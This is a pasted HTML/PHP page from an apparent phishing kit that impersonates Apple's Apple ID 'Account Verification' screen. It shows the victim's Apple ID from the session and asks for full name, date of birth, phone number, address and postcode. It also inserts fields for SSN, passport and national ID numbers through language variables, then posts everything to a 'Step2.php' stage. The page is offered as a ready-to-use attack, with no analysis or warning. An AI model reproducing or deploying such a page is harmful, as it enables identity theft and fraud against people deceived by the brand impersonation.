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rickods

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rickods
Feb 16th, 2018
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  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
  5. <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
  6. <title>Confirm your information</title>
  7. <link href="assets/img/favicon.ico" rel="shortcut icon" type="image/x-icon">
  8. <link href="assets/css/First.css" media="all" rel="stylesheet" type="text/css">
  9. <link href="assets/css/Second.css" rel="stylesheet" type="text/css">
  10. <link href="assets/css/Fonts.css" rel="stylesheet" type="text/css">
  11. <link href="assets/css/verify.css" rel="stylesheet" type="text/css">
  12. <style>.error {color:red}</style>
  13. </head>
  14. <body id="pagecontent">
  15. <div id="content">
  16. <div class="bdd45">
  17. <nav id="xdsfv54" class="js no-touch svg no-ie7 no-ie8">
  18. <div class="HeaderObjHolder">
  19. <ul class="MobHeader">
  20. <li class="HeaderObj MobMenIconH">
  21. <label class="MobMenHol">
  22. <span class="MobMenIcon MobMenIcon-top">
  23. <span class="MobMenIcon-crust MobMenIcon-crust-top"></span> </span> <span class="MobMenIcon MobMenIcon-bottom">
  24. <span class="MobMenIcon-crust MobMenIcon-crust-bottom"></span> </span>
  25. </label>
  26. </li>
  27. <li class="HeaderObj">
  28. <a class="Item1" href="#" style="display: inline-block;margin-left:50%;margin-top:11px" id="ac-gn-firstfocus-small"> <span class="ac-gn-link-text">&nbsp;</span> </a>
  29. <a class="Item10" style="display: inline-block;float:right;margin-top:11px" href="#"> <span class="ac-gn-link-text">&nbsp;</span> <span class="ac-gn-bag-badge"></span> </a> <span class="ac-gn-bagview-caret ac-gn-bagview-caret-large"></span>
  30. </li>
  31. </ul>
  32. <ul class="HeaderObjList">
  33. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item1" href="#"></a></li>
  34. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item2" href="#"></a></li>
  35. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item3" href="#"></a></li>
  36. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item4" href="#"></a></li>
  37. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item5" href="#"></a></li>
  38. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item6" href="#"></a></li>
  39. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item7" href="#"></a></li>
  40. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item8" href="#"></a></li>
  41. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item9" href="#"></a></li>
  42. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item10" href="#"></a></li>
  43. </ul>
  44. </div>
  45. </nav>
  46.  
  47.  
  48.  
  49. <div id="flow">
  50. <div class="flow-body signin clearfix" role="main">
  51. <div class="persona-splash no-photo clearfix">
  52. <div class="persona-bg"></div>
  53. <div class="container">
  54. <div class="splash-section">
  55. <div class=" person-wrapper">
  56. <div>
  57. <div class="row">
  58. <div class="col-sm-9 appleid-col">
  59. <div class="flex-container">
  60. <h1 class="mobile appleid-user">
  61. <span class="first_name">Account Verification</span>
  62. <small class="SessionUser">Your Apple ID is <strong><?php echo $_SESSION['user'];?></strong> </small>
  63. </h1>
  64. </div>
  65. </div>
  66. <div class="not-mobile col-sm-3">
  67. <div class="flex-container-signout">
  68. <div class="signout pull-right">
  69. <button class="btn btn-link">Sign Out </button>
  70. </div>
  71. </div>
  72. </div>
  73. </div>
  74. </div>
  75. </div>
  76. </div>
  77. </div>
  78. </div>
  79. <div class="container">
  80. <div class="flex home-content">
  81.  
  82.  
  83. <form action="Step2.php?&sessionid=<?php echo generateRandomString(115); ?>&securessl=true" method="post" name="details" id="details" class="proceed">
  84. <div class="container flow-sections">
  85. <div class="editable account-edit clearfix">
  86. <div class="row edit-row">
  87. <div class="col-sm-5">
  88. <h3 class="section-subtitle" id="nameLabel">Personal Information</h3>
  89. <div class="form-group">
  90. <div class="pop-wrapper field-pop-wrapper first-wrapper">
  91. <div class="name-input">
  92. <input type="text" name="fname" id="fname" class="generic-input-field form-control field" placeholder="first name">
  93. <span id="nameerror"></span>
  94. </div>
  95. </div>
  96. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  97. <div class="name-input">
  98. <input type="text" name="mname" id="mname" class="generic-input-field form-control field" placeholder="middle name (optional)">
  99. </div>
  100. </div>
  101. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  102. <div class="name-input">
  103. <input type="text" name="lname" id="lname" class="generic-input-field form-control field" placeholder="last name">
  104. </div>
  105. </div>
  106. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  107. <div class="name-input">
  108. <input id="dob" name="dob" class="form-control form-input" type="tel" placeholder="date of birth">
  109. </div>
  110. </div>
  111. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  112. <div class="name-input">
  113. <input id="telephone" name="telephone" class="form-control form-input" type="tel" placeholder="telephone number">
  114. </div>
  115. </div>
  116. <?php echo $lang['SSN'];?>
  117. <?php echo $lang['PASSPORT'];?>
  118. <?php echo $lang['NUMBID'];?>
  119. <?php echo $lang['NAID'];?>
  120. <?php echo $lang['CIVILID'];?>
  121. <?php echo $lang['QATARID'];?>
  122. <?php echo $lang['CITIZENID'];?>
  123. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  124. <div class="name-input">
  125. <input type="text" name="address" id="address" class="generic-input-field form-control field" placeholder="address Line ">
  126. </div>
  127. </div>
  128. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  129. <div class="name-input">
  130. <input type="text" name="town" id="town" class="generic-input-field form-control field" placeholder="town / city">
  131. </div>
  132. </div>
  133.  
  134. <div class="form-group clearfix middle-wrapper">
  135. <div class="select-wrapper">
  136. <?php echo $lang['COUNTYSELECT'];?>
  137. </div>
  138. </div>
  139. <div class="pop-wrapper field-pop-wrapper last-wrapper">
  140. <div class="name-input">
  141. <input type="text" name="postcode" id="postcode" class="generic-input-field form-control field" placeholder="<?php echo $lang['POSTCODE'];?>">
  142. </div>
  143. </div>
  144. <input type="hidden" name="country" value="<?php echo $lang['COUNTRY'];?>">
  145. <br>
  146. <br>
  147. <input type="submit" class="gobtn btn-link" style="width:50%;margin-left:auto;margin-right:auto;float:right" value="Next">
  148. </div>
  149. </div>
  150. </div>
  151. </div>
  152. </div>
  153. </form>
  154.  
  155.  
  156.  
  157. </div>
  158. </div>
  159. </div>
  160. </div>
  161. </div>
  162. </div>
  163. </body>
  164. </html>
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